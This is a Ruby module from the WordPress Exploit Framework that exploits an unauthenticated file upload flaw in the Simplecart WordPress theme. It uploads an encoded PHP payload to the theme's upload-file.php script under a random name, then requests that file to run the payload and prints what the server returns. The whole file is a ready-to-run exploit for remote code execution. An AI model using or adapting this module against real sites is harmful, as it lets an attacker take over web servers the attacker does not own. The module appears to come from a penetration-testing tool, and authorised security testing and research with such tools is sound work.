rastating/wordpress-exploit-framework

# frozen_string_literal: true

require 'socket'

class Wpxf::Exploit::SimplecartShellUpload < Wpxf::Module
  include Wpxf

  def initialize
    super

    update_info(
      name: 'Simplecart Theme Shell Upload',
      desc: 'This module exploits a file upload vulnerability in all versions '\
            'of the Simplecart theme found in the upload_file.php script '\
            'which contains no session or file validation. It allows '\
            'unauthenticated users to upload files of any type and '\
            'subsequently execute PHP scripts in the context of the '\
            'web server.',
      author: [
        'Divya',     # Vulnerability disclosure
        'rastating'  # WPXF module
      ],
      references: [
        ['EDB', '36611']
      ],
      date: 'April 02 2015'
    )
  end

  def check
    check_theme_version_from_readme('simplecart')
  end

  def plugin_url
    normalize_uri(wordpress_url_themes, 'simplecart')
  end

  def uploads_url
    normalize_uri(plugin_url, 'admin',)
  end

  def uploader_url
    normalize_uri(uploads_url, 'upload-file.php')
  end

  def payload_body_builder(payload_name)
    target_ip = IPSocket.getaddress(target_host)
    field_name = Utility::Text.md5(target_ip)

    builder = Utility::BodyBuilder.new
    builder.add_file_from_string(field_name, payload.encoded, payload_name)
    builder.add_field('upload_path', 'Lg==')
    builder
  end

  def run
    return false unless super

    emit_info 'Preparing payload...'
    payload_name = "#{Utility::Text.rand_alpha(10, :lower)}.php"
    builder = payload_body_builder(payload_name)

    emit_info 'Uploading payload...'
    res = nil
    builder.create do |body|
      res = execute_post_request(url: uploader_url, body: body)
    end

    if res.nil?
      emit_error 'No response from the target'
      return false
    end

    if res.code != 200
      emit_error "Server responded with code #{res.code}"
      return false
    end

    payload_url = normalize_uri(uploads_url, payload_name)
    emit_success "Uploaded the payload to #{payload_url}", true

    emit_info 'Executing the payload...'
    res = execute_get_request(url: payload_url)

    if res && res.code == 200 && !res.body.strip.empty?
      emit_success "Result: #{res.body}"
    end

    return true
  end
end